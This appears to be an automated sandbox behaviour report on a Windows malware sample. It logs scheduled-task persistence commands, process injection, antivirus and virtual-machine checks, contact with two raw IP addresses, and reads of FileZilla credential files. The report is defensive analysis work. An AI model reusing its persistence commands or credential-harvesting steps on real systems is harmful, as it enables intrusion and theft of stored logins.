RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-001A-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-001B-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-001F-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-001F-040C-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-001F-0C0A-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-002C-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0044-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-006E-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0090-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-00A1-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-00BA-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-00E1-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-00E2-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0115-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0117-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-012B-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {91150000-0011-0000-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {AC76BA86-7AD7-FFFF-7B44-AC0F074E4100} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 13, 2023, 7:44 a.m.	status_code: 0x00000005 process_identifier: 1628 process_handle: 0x000000ec		0	0
NtTerminateProcess Sept. 13, 2023, 7:44 a.m.	status_code: 0x00000005 process_identifier: 1628 process_handle: 0x000000ec	1	0	0

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Communicates with host for which no DNS query was performed (2 events)

host	5.42.92.211
host	77.91.124.82

Allocates execute permission to another process indicative of possible code injection (4 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 region_size: 593920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000a0	1	0
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2180 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000130	1	0
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 1628 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000ec		3221225496
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 496 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000f0	1	0

Installs itself for autorun at Windows startup (6 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"

Detects Avast Antivirus through the presence of a library (2 events)

Time & API	Arguments	Status	Return	Repeated
LdrGetDllHandle Sept. 13, 2023, 7:44 a.m.	module_name: snxhk module_address: 0x00000000 stack_pivoted: 0		3221225781	0
LdrGetDllHandle Sept. 13, 2023, 7:44 a.m.	module_name: snxhk module_address: 0x00000000 stack_pivoted: 0		3221225781	0

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1028 manipulating memory of non-child process 1628
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 1628 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000ec		3221225496	0

Potential code injection by writing to the memory of another process (10 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà dX`j@ m² @Á ¢´À 9 T@ .textcd `.dataHh@À.idataR j@@.rsrc@À:\|@@.reloc ¶@B base_address: 0x00400000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: Næ@»±¿DSystem\CurrentControlSet\Control\Session Managerrundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"Software\Microsoft\Windows\CurrentVersion\RunOncewextract_cleanup%drundll32.exe %s,InstallHinfSection %s 128 %sPendingFileRenameOperationsDefaultInstallCommand.com /c %s%s /D:%sSystem\CurrentControlSet\Control\Session Manager\FileRenameOperationsSHELL32.DLLDoInfInstallSHBrowseForFolderSHGetPathFromIDList*MEMCABþÿÿÿþÿÿÿ base_address: 0x00408000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: À00D0H0P0X0°0¼0À0R7÷788'8.8W8n888¬8¶8í8ô899.9F9f9\|999¥9¯9Á9ì9:&:K:Q:d:l:ô:/;<;¡;Ü;é;<<A<Y<u<<<<ª<¯<´<º<Ä<Ï<ú<===$=.=<====Ê=>>F>³>¼>Ê>ë>ý>?)?0?O?Z?o?°?È?Õ?é?ü? h000"060000¦0¿0Ë0ì0ò01 1$1/161F1]1f111©1Ã1æ1ò1÷12232?2K2R2s2~22¥2Î2Ú233"3.3d3p3\|33×3ø3"4)424=4Y44¥4±4À4Ç4ì455.5=5N5W5©5´5Ä5Í5ß5ö566<6V66¦6½6î6&7Y77ª7·7¾7å7+8H8T8r8¢8¬8»8F9Z9k999¤9#:q::¸:â:è:ô:; ;W;;Í;Ö;<<<#<<?<Y<x<<<<<¶<Í<Õ<å<õ<= ==6=<=B=I=N=p===°=µ=¿=Î=Ú=ñ=>>>!><>D>U>\>h>p>y>>>²>¾>Ù>)?5?A?X???´?Á?È?Ü?â?ú?0\|0000=0V0g0q0}0000¤0ì0ò0=1M1_1l1q1x111111¥1²1Ì1Ò1b2m2s2¦2²2Ê2Ð2ã2ð23343^3}3¦3¯3Î3ä3ò3ù344(4/4A44444´4º4Æ4Í4Ú41575C5[5a5g5s5555£5©5¯5Ã5É5Ú5ó5ú5666%661696>6j6s6¡6´6Í6Ü6ú6%7_7e7j7{777¯7´7»7Á7±9Å9ê9ó9:G:_:d::¯:µ:»:Æ:Ì:Ò:Ý:î:ö:;;;;/;C;L;U;^;};;;±;Ä;Õ;Þ;ã;#<5<<<®<Ê<Þ<=(=7=a=p=~==Ê=Ò=ð=> >(>>>X>d>l>x>>¯>Ï>â>ö>?!?B?I?x????Ä?Ê?Ü?û?@x50K0^0j0q000ª0°0Ë0Þ0ë01,1Q1_1t11¬1Æ1Í1é120282G2N2e2u2\|222¡2¦2¸2¾2Ä2Ò2Ø2ë23333<3E3X3`3j3333§3Ù3ó3 4%404<4I4¤4Å4Ð4å455F5V5¥5å5626[6h6q6¢6«6Å6Î6Õ6ç6ñ6C77777£7Ä7Ô7ì7ø7%838I8f8q8à89[9e999§9Ã9Ì9Þ9ç9ì9ò9ø9:::5:;:]:m:s::::³:×:â:;;;%;+;3;D;V;p;z;;;;;;¦;Ñ;é;ô;ÿ;#<)<E<V<h<z<<¬<Ê<Ü<ç<7=·=Ì=ß=ä=y> >«>º>Ë>Ú>é>õ>?"?'?,?1?6?;?@?F?^?y??ª?ç?ú?P\|0000!02090F0L0S0b0~0000000£0©0·0½0Ã0È0Ï0ß0ê0ð0111#1<1E1U1[1g1l111 1²1·1Á1ð12$212R2X2c2j2u22 2¨2Â2Î2Ù2ä2ô2ü2333#3,353L3_3e3u3\|333Á3ý344!4-464T4a4s4¬4»4Ë4ê4ñ4ø4ÿ4 55?5I5b5k5q5}55¬5¾5Ñ5ò56"6(636:6G6N6S6a6o66¤6¯6»6õ6 797Ï7Ô7ñ7828>8z8¢8é89$9E9O9^9e9v99ª9±9Ò9:B:f:::§:¾:";7;D;L;T;^;;¾;Í;Ú;þ;ª<ð<Ô=á=ò=ø=þ=>@>¦>°>Î>ã>??$?-?6?B?H?g?q?©?Ã?Ù?` 0040>0¬0³0À0Ü01Á1Ü1è1ó1ú12A2`22¡2´2Ï2Ö2333G3Y3a3¥3Ì3ì3/4<4]4o4\|4¡44Ã4á4û45!5,5:5Y5b5¼566+676`66³6è6C7¯7¼7Ò7Ù7ä7 88+888_8p8©8Ã8Î8ê8ö8949<999¸9Ä9Ê9Ñ9Ú9à9è9î9û9: :!:&:,:1:6:;:@:F:N:m:::¶:Á:Ó:Û:à:å:; ;;;&;5;=;E;Y;a;h;§;±;·;Á;Ü; <<< <)<.<^<x<<<<<¸<Â<Í<â<ù<= ==&=,=2=8=>=D=K=R=Y=`=g=n=u=}====¢=§==·=Á=Ñ=á=ç=ò=ø=>>>0>6><>B>H>N>U>\>c>j>q>x>>>>>¡>¦>¬>¶>À>Ð>Ù>)?A?G?P?W?Ç?ö?pDh0m000±0·0f1111¥1º1Ï1Þ1æ1û12 2&222¥2«2±2Ì2Ð2ì2ð233 2 base_address: 0x00490000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²dàHvD2@õ.textytv à base_address: 0x00400000 process_identifier: 2180 process_handle: 0x00000130	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2180 process_handle: 0x00000130	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $Ñ ÿmYÿmYÿmYFnXÿmYFhXÿmYFiXÿmY1YÿmY1hX³ÿmY1iXÿmY1nXÿmYFlXÿmYÿlYÅÿmYdXÿmYYÿmYoXÿmYRichÿmYPEL%Íeà$¬AÀ@@Ì(Pà`ä0p@À.textE«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B base_address: 0x00400000 process_identifier: 496 process_handle: 0x000000f0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þxÚA@6B@6B@6B@6B@6BH6BøÜAxÞA¸ÔA5B`0BC6B¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB6B¼BB¼BB¼BB¼BB¼BB¼BB¼BB..þÿÿÿ þÿÿÿuÿÿÿÿlB.?AVbad_exception@std@@lB.?AVexception@std@@lB.?AVtype_info@@ base_address: 0x00423000 process_identifier: 496 process_handle: 0x000000f0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: 0 H`P}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00425000 process_identifier: 496 process_handle: 0x000000f0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 496 process_handle: 0x000000f0	1	1

Code injection by writing an executable or DLL to the memory of another process (3 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Sept. 13, 2023, 7:43 a.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà dX`j@ m² @Á ¢´À 9 T@ .textcd `.dataHh@À.idataR j@@.rsrc@À:\|@@.reloc ¶@B base_address: 0x00400000 process_identifier: 2172 process_handle: 0x000000a0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²dàHvD2@õ.textytv à base_address: 0x00400000 process_identifier: 2180 process_handle: 0x00000130	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $Ñ ÿmYÿmYÿmYFnXÿmYFhXÿmYFiXÿmY1YÿmY1hX³ÿmY1iXÿmY1nXÿmYFlXÿmYÿlYÅÿmYdXÿmYYÿmYoXÿmYRichÿmYPEL%Íeà$¬AÀ@@Ì(Pà`ä0p@À.textE«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B base_address: 0x00400000 process_identifier: 496 process_handle: 0x000000f0	1	1

Collects information about installed applications (50 out of 76 events)

Time & API	Arguments	Status
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Excel MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft PowerPoint MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Publisher MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 13, 2023, 7:44 a.m.	key_handle: 0x000003d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Outlook MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName	1
